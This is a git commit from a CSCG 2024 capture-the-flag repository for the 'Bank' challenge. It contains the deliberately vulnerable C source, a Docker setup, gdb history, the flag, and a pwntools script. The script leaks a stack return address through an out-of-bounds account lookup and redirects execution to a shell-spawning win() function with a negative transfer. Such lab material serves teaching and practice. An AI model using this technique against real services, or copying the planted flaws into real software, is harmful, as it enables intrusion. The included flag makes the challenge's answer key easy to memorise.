cscg24-bank

CSCG 2024 Challenge 'Bank'
git clone https://git.sinitax.com/sinitax/cscg24-bank
Log | Files | Refs | sfeed.txt

commit 37ea0bd0ffdca70c7293a0ef1b44105a1246da4f
Author: Louis Burda <quent.burda@gmail.com>
Date:   Tue,  2 Apr 2024 23:36:08 +0200

Add solution

Diffstat:
Achall/bank.zip | 0
Achall/description | 1+
Asolve/.gdb_history | 61+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asolve/Dockerfile | 14++++++++++++++
Asolve/Makefile | 2++
Asolve/docker-stuff/ynetd | 0
Asolve/flag | 1+
Asolve/notes | 9+++++++++
Asolve/solve | 52++++++++++++++++++++++++++++++++++++++++++++++++++++
Asolve/vuln | 0
Asolve/vuln.c | 209+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
11 files changed, 349 insertions(+), 0 deletions(-)

diff --git a/chall/bank.zip b/chall/bank.zip Binary files differ. diff --git a/chall/description b/chall/description @@ -0,0 +1 @@ +Are you passionate about finance and adept at managing banking systems? Our esteemed financial institution is seeking a skilled Bank Account Manager to oversee our account management system. As a Bank Account Manager, you will be responsible for maintaining and optimizing our banking software, ensuring smooth operation, and providing exceptional customer service to our clients. diff --git a/solve/.gdb_history b/solve/.gdb_history @@ -0,0 +1,61 @@ +telescope $rsp +telescope $rsp 40 +bt +f 6 +telescope $rsp 40 +telescope $rsp 40 +p acocunts +bt +f 5 +p account +p accountsf +p accounts +telescope $rsp +telescope $rsp 40 +f 6 +p $rsp +f 5 +p $rsp +p $rsp+80 +x/x $rsp+80 +x/x $rsp+80*2 +x/x $rsp+80*3 +x/x $rsp+80*4 +x/x $rsp+80*5 +x/x $rsp+80*6 +x/x $rsp+80*7 +x/x $rsp+80*8 +x/x $rsp+80*9 +c +f 5 +x/x $rsp+80*0 +x/2x $rsp+80*0 +telescope $rsp +x/2x $rsp+16+0*80 +x/x $rsp+16+0*80 +x/x $rsp+16+1*80 +x/x $rsp+16+2*80 +x/x $rsp+16+10*80 +x/x $rsp+16+11*80 +telescope $rsp+16+11*80 +info proc map +telescope $rsp+16+11*80 +telescope $rsp+16+12*80 +telescope $rsp+16+10*80 +telescope $rsp+16+10*80 10 +telescope $rsp+16+10*80-10 10 +telescope $rsp+16+10*80 +c +telescope $rsp+16+10*80 +f 5 +telescope $rsp+16+10*80 +telescope $rsp+16+11*80 +telescope $rsp+16+10*80 +telescope $rsp+16+11*80 +telescope $rsp+16+11*80+l2 +telescope $rsp+16+11*80+7w +telescope $rsp+16+11*80+72 +f 6 +p $rsp +f 7 +p $rsp diff --git a/solve/Dockerfile b/solve/Dockerfile @@ -0,0 +1,14 @@ +# docker build -t bank . && docker run -p 1024:1024 --rm -it bank +FROM ubuntu@sha256:50ec5c3a1814f5ef82a564fae94f6b4c5d550bb71614ba6cfe8fadbd8ada9f12 + +RUN useradd --create-home --shell /bin/bash ctf + +COPY docker-stuff/ynetd /sbin/ +COPY flag / +COPY vuln /home/ctf/ + +RUN chmod 0555 /sbin/ynetd /home/ctf/vuln && \ + chmod 0444 /flag + +EXPOSE 1024 +CMD [ "ynetd", "-u", "ctf", "/home/ctf/vuln" ] diff --git a/solve/Makefile b/solve/Makefile @@ -0,0 +1,2 @@ +vuln: vuln.c + gcc -O2 -Wall -Wextra -Wpedantic -Wl,-z,lazy -D_FORTIFY_SOURCE=0 -fstack-protector-all -pie $< -o $@ diff --git a/solve/docker-stuff/ynetd b/solve/docker-stuff/ynetd Binary files differ. diff --git a/solve/flag b/solve/flag @@ -0,0 +1 @@ +CSCG{Cashflow_Strategy_Cyber_Guru} diff --git a/solve/notes b/solve/notes @@ -0,0 +1,9 @@ +stack layout + + + + <---bank +locals..: 16 +accounts: 5 * 80 +ownerName: 84 + diff --git a/solve/solve b/solve/solve @@ -0,0 +1,52 @@ +#!/usr/bin/env python3 + +from pwn import * +import sys + +args = sys.argv[1:] +if args == []: + args = ["nc", "localhost", "1024"] +io = process(args) + +nums = list() +for i in range(9): + io.readuntil(b"choice:") + io.send(b"1") + io.sendline(b"A"*(82-i)) + io.sendline(b"123") + io.readuntil(b"Account Number: ") + print(line := io.readline()) + nums.append(int(line)) + print(io.readline()) + print(io.readline()) + print() + +io.readuntil(b"choice:") +io.send(b"1") +io.sendline(b"B" * 79) +io.sendline(b"123") +io.readuntil(b"Account Number: ") +nums.append(int(io.readline())) + +assert(0 not in nums) # unlucky + +io.readuntil(b"choice:") +io.sendline(b"2") +io.sendline(b"0") +io.readuntil(b"Balance: ") +ret = int(io.readline()) + +ret_off = 0x1157 +win_off = 0x1270 +assert(ret & 0xfff == ret_off & 0xfff) + +io.readuntil(b"choice:") +io.sendline(b"3") +io.sendline(b"0") # src +io.sendline(str(nums[0]).encode()) # dst +io.sendline(str(-(win_off - ret_off)).encode()) +io.readuntil(b"Transfer successful.") + +io.sendline(b"4") + +io.interactive() diff --git a/solve/vuln b/solve/vuln Binary files differ. diff --git a/solve/vuln.c b/solve/vuln.c @@ -0,0 +1,209 @@ +#include <stdio.h> +#include <stddef.h> +#include <assert.h> +#include <stdlib.h> +#include <string.h> +#include <time.h> +#include <unistd.h> + +#define MAX_ACCOUNTS 10 + +// Define the structure for an account +typedef struct +{ + int accountNumber; + char ownerName[64]; + long int balance; +} BankAccount; +static_assert(sizeof(BankAccount) == 80, ""); +static_assert(offsetof(BankAccount, accountNumber) == 0, ""); +static_assert(offsetof(BankAccount, ownerName) == 4, ""); +static_assert(offsetof(BankAccount, balance) == 72, ""); + +void win() +{ + execve("/bin/sh", NULL, NULL); +} + +// Function to create a new account +BankAccount *createAccount(const char *ownerName, long initialBalance) +{ + BankAccount *newAccount = (BankAccount *)calloc(1, sizeof(BankAccount)); + + if (newAccount == NULL) + { + printf("Memory allocation failed.\n"); + exit(1); + } + + // Generate a random account number + newAccount->accountNumber = rand() % 10000 + 1000; + + strncpy(newAccount->ownerName, ownerName, sizeof(newAccount->ownerName) - 1); + newAccount->balance = initialBalance; + + return newAccount; +} + +// Function to find an account based on its account number +BankAccount *findAccount(int accountNumber, BankAccount accounts[]) +{ + for (int i = 0;; ++i) + { + if (accounts[i].accountNumber == accountNumber) + { + return &accounts[i]; + } + } + return NULL; +} + +// Function to transfer money between two accounts +void transferMoney(BankAccount *sender, BankAccount *receiver, long amount) +{ + if (sender->balance >= amount) + { + sender->balance -= amount; + receiver->balance += amount; + printf("Transfer successful.\n"); + } + else + { + printf("Insufficient funds.\n"); + } +} + +// Function to check the account balance +void checkBalance(BankAccount *account) +{ + printf("Account Number: %d\n", account->accountNumber); + printf("Owner Name: %s\n", account->ownerName); + printf("Balance: %ld\n", account->balance); +} + +int bank() +{ + // Declare an array to store accounts + BankAccount accounts[MAX_ACCOUNTS]; + int numAccounts = 0; + + // CLI loop + while (1) + { + // Display menu + printf("\nMenu:\n"); + printf("1. Create Account\n"); + printf("2. Check Balance\n"); + printf("3. Transfer Money\n"); + printf("4. Exit\n"); + + // Get user choice + printf("Enter your choice: "); + int option; + scanf("%d", &option); + + switch (option) + { + case 1: + // Create Account + printf("Enter Owner Name: "); + char ownerName[84]; + fgets(ownerName, sizeof(ownerName), stdin); + printf("Enter Initial Balance: "); + long initialBalance; + scanf("%ld", &initialBalance); + + // Create the account and add it to the array + if (numAccounts < MAX_ACCOUNTS) + { + BankAccount *tmp_account = createAccount(ownerName, initialBalance); + BankAccount *account = &accounts[numAccounts++]; + + memcpy(account, tmp_account, sizeof(BankAccount)); + free(tmp_account); + + printf("Account created successfully.\n"); + checkBalance(account); + } + else + { + printf("Maximum number of accounts reached.\n"); + } + break; + + case 2: + // Check Balance + printf("Enter Account Number: "); + int accountNumber; + scanf("%d", &accountNumber); + + // Find the account and display the balance + BankAccount *account = findAccount(accountNumber, accounts); + if (account != NULL) + { + checkBalance(account); + } + else + { + printf("Account not found.\n"); + } + break; + + case 3: + // Transfer Money + printf("Enter Sender Account Number: "); + scanf("%d", &accountNumber); + + // Find the sender account + BankAccount *sender = findAccount(accountNumber, accounts); + if (sender == NULL) + { + printf("Sender account not found.\n"); + break; + } + + printf("Enter Receiver Account Number: "); + scanf("%d", &accountNumber); + + // Find the receiver account + BankAccount *receiver = findAccount(accountNumber, accounts); + if (receiver == NULL) + { + printf("Receiver account not found.\n"); + break; + } + + printf("Enter Transfer Amount: "); + long transferAmount; + scanf("%ld", &transferAmount); + + // Transfer money between accounts + transferMoney(sender, receiver, transferAmount); + + // Display updated balances + printf("Updated Balances\n"); + break; + + case 4: + // Exit the program + printf("Exiting the program.\n"); + return 0; + + default: + printf("Invalid option. Please try again.\n"); + } + } + + return 0; +} + +int main() +{ + setbuf(stdout, NULL); + // Seed the random number generator with the current time + srand((unsigned int)time(NULL)); + + bank(); + + return 0; +}